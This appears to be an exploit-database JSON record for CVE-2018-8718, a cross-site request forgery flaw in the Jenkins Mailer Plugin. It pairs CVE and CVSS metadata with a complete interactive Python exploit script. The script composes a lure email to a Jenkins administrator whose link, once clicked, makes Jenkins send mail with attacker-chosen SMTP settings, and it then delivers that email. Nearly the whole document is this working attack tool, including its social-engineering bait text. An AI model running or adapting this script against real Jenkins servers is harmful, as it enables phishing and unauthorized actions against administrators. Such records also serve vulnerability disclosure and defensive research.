{"exploit":{"id":"EDB-44843","name":"Jenkins Mailer Plugin < 1.20 - Cross-Site Request Forgery (CSRF) (Send Email)","description":"Jenkins Mailer Plugin < 1.20 - Cross-Site Request Forgery (CSRF) (Send Email)","cves":["CVE-2018-8718"],"author":"Kl3_GMjq6","published":"2018-06-05","platform":"linux","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/44843","path":"exploits/linux/webapps/44843.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-44843.py","vulnerabilities":[{"id":"CVE-2018-8718","state":"PUBLISHED","title":null,"titleSource":null,"description":"Cross-site request forgery (CSRF) vulnerability in the Mailer Plugin 1.20 for Jenkins 2.111 allows remote authenticated users to send unauthorized mail as an arbitrary user via a /descriptorByName/hudson.tasks.Mailer/sendTestMail request.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2018-8718","cvss":{"version":"3.0","baseScore":8,"severity":"high","vectorString":"CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2018-8718"},"updatedAt":"2024-08-05T07:02:26.081Z","retrievedAt":"2026-11-26T19:05:57.620Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-44843.png?v=2","url":"https://exploitbin.com/exploits/EDB-44843","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-44843/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-44843/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title : Jenkins mailer plugin < 1.20 - Cross-Site Request Forgery\n# Date : 2018-06-05\n# Exploit Author : Kl3_GMjq6\n# Vendor Homepage : https://jenkins.io/\n# Software Link : [https://updates.jenkins.io/download/plugins/mailer/1.20/mailer.hpi]\n# Version: [Below Version 1.20 (1.1 ~ 1.20) ]\n# Ref: https://jenkins.io/security/advisory/2018-03-26/#SECURITY-774\n# Tested on : Linux , Windows\n# CVE : CVE-2018-8718\n\nimport email.message\nimport smtplib\nimport getpass\n\npayload_list = ['url','subject','cover_message','sender','reciver','test_email','smtp_server','l_id','l_pw']\ntable = {}\nfor i in payload_list :\n    table.update({i:''})\n\ndef send_mail() :\n    msg = email.message.Message()\n    msg['Subject'] = table['subject']\n    msg['From'] = table['sender']\n    msg['To'] = table['reciver']\n    msg.add_header('Content-Type','text/html')\n    msg.set_payload('<a href=\"'+table['url']+'\\\n/descriptorByName/hudson.tasks.Mailer/sendTestMail?\\\ncharset=UTF-8&sendTestMailTo='+table['test_email']+'&adminAddress='+table['reciver']+'\\\n&smtpPort=465&smtpServer='+table['smtp_server']+'&smtpAuthPasswordSecret='+table['l_pw']+'\\\n&useSMTPAuth=true&useSsl=true&smtpAuthUserName='+table['l_id']+'\">\\\n'+table['cover_message']+'</a>')\n    s = smtplib.SMTP(table['smtp_server'])\n    s.starttls()\n    s.login(table['l_id'],\n            table['l_pw'])\n    s.sendmail(msg['From'], [msg['To']], msg.as_string())\n\ndef url_set() :\n    url = str(input(\"Jenkins Server's URL(ex : http://vuln.jenkins.com) : \"))\n    if len(url) <= 0 :\n        print (\"    Can't Be Null!\")\n        url_set()\n    elif url[0:4] != \"http\" :\n        print (\"    URL must start with 'http://' \")\n        url_set()\n    else : table['url'] = url\n\ndef subject_set() :\n    subject = str(input (\"SUBJECT [Default : Look! Warning with your Jenkins] : \"))\n    if len(subject) <= 0 :\n        subject = \"Look! Waning with your Jenkins\"\n    table['subject'] = subject\n\ndef cover_message() :\n    cover_message = str(input (\"Cover Message [Default : Here is your Vulnable!] : \"))\n    if len(cover_message) <= 0 :\n        cover_message = \"Here is your Vulnable!\"\n    table['cover_message'] = cover_message\n\ndef sender() :\n    sender = str(input (\"Attacker E-mail(ex : attacker@abcd.com) : \"))\n    if len(sender) <= 0 :\n        print (\"    Can't Be Null!\")\n        sender()\n    else : table['sender'] = sender\n\ndef reciver() :\n    reciver = str(input (\"Admin's E-mail(ex : admin@abcd.com) : \"))\n    if len(reciver) <= 0 :\n        print (\"    Can't Be Null!\")\n        reciver()\n    else : table['reciver'] = reciver\n\ndef test_email() :\n    test_email = str(input (\"Tester E-mail(ex : tester@abcd.com) : \"))\n    if len(test_email) <= 0 :\n        print (\"    Can't Be Null!\")\n        test_email()\n    table['test_email']  = test_email\n\ndef smtp_server() :\n    smtp_server = str(input (\"SMTP_Server [Default : smtp.gmail.com] : \"))\n    if len(smtp_server) <= 0 :\n        smtp_server = \"smtp.gmail.com\"\n    table['smtp_server'] = smtp_server\n\ndef l_id() :\n    l_id = str(input (\"Your SMTP_Server ID  : \"))\n    if len(l_id) <= 0 :\n        print (\"    Can't Be Null!\")\n        l_id()\n    table['l_id'] = l_id\n\ndef l_pw() :\n    l_pw = str(getpass.getpass(\"Your SMTP_Server PW : \"))\n    if len(l_pw) <= 0 :\n        print (\"    Can't Be Null!\")\n        l_pw()\n    table['l_pw'] = l_pw\n\ndef set_all () :\n    url_set()\n    subject_set()\n    cover_message()\n    sender()\n    reciver()\n    test_email()\n    smtp_server()\n    l_id()\n    l_pw()\n    print (\"Setting Complit! Use 'show' to check options\")\n\nset_help = {\n    'all':\"Set all payload\",\n    'help':\"Show set commend's help\",\n    'url_set':\"Set only 'url_set' payload\",\n    'subject_set':\"Set only 'url_set' payload\",\n    'cover_message':\"Set only 'cover_message' payload\",\n    'sender':\"Set only 'sender' payload\",\n    'reciver':\"Set only 'reciver' payload\",\n    'test_email':\"Set only 'test_email' payload\",\n    'smtp_server':\"Set only 'smtp_server' payload\",\n    'l_id':\"Set only 'l_id' payload\",\n    'l_pw':\"Set only 'l_pw' payload\",\n    }\n\ndef set_select (a) :\n    if a==\"all\" : set_all()\n    elif a==\"url_set\" : url_set()\n    elif a==\"subject_set\" : subject_set()\n    elif a==\"cover_message\" : cover_message()\n    elif a==\"sender\" : sender()\n    elif a==\"reciver\" : reciver()\n    elif a==\"test_email\" : test_email()\n    elif a==\"smtp_server\" : smtp_server()\n    elif a==\"l_id\" : l_id()\n    elif a==\"l_pw\" : l_pw()\n    elif a==\"help\" :\n        for i in set_help :\n            print (\"    -%-20s %-s\" %(i,set_help[i]))\n    print ('')\n\n\n\nwhile True :\n    direct = str(input (\"CVE-2018-8718 >> \")).lower()\n\n    if direct == \"help\" :\n        print (\"\"\"\\\n    %-10s Show this help menu.\n    %-10s [-all / -help / -url_set / -subject_set / .... ]\n    %-10s Set the Payload\n    %-10s [-all] Show Current Setting.\n    %-10s Send CSRF use current setting.\n    \"\"\" %(\"help\",\"set\",\"\",\"show\",\"send\"))\n\n    elif direct[0:3] == \"set\" :\n        if ' -' not in direct :\n            if direct == \"set\" :\n                set_option = [\"help\"]\n            else :\n                print (\"    Option error \\n\")\n        else :\n            set_option = direct.split(' -')[1:]\n        okay = 1\n\n        if len(set_option) == 1 :\n            if set_option[0] not in set_help :\n                print (\"    Option error \\n\")\n            else :\n                set_select(set_option[0])\n        elif len(set_option) >= 2 :\n            for i in set_option :\n                if i in ['help', 'all'] :\n                    print (\"     *Option [-help / -all] cannot be use with another options \\n\")\n                    okay = 0\n                    break\n            for i in set_option :\n                if i not in set_help :\n                    print (\"    Option error \\n\")\n                    okay = 0\n                    break\n            if okay == 1 :\n                for i in set_option :\n                    set_select(i)\n\n    elif direct[:4] == \"show\" :\n        if \" -\" not in direct :\n\n            if direct == \"show\" :\n                for i in table :\n                    if i != \"l_pw\" :\n                        print (\"    %-20s %s\" %(i,table[i]))\n                print (\"    If you want to see l_pw... add [-all] option\")\n                print (\"\")\n            else :\n                print (\"    Option error \\n\")\n        else :\n            show_option = direct.split(\" -\")[1:]\n            if (len(show_option) == 1 and show_option[0] == 'all') :\n                for i in table :\n                    print (\"      %-20s %s\" %(i,table[i]))\n                print ()\n            else :\n                print (\"    Option error \\n\")\n\n    elif direct == \"send\" :\n        print (\"    Sending CSRF Mail.....\")\n        try :\n            send_mail()\n            print (\"    Succed!!\\n\")\n        except :\n            print (\"    Fail....\")\n\n    elif direct == \"exit\" :\n        break\n\n    else :\n        print (\"    Usage : help\\n\")","sha256":"d80b671b99cd08e4932106797e7749517bf7781cf786016570c1d3c4d35b510b","bytes":6897,"fetchedAt":"2026-11-26T19:05:51.140Z","encoding":"utf-8 (display only; download retains original bytes)"}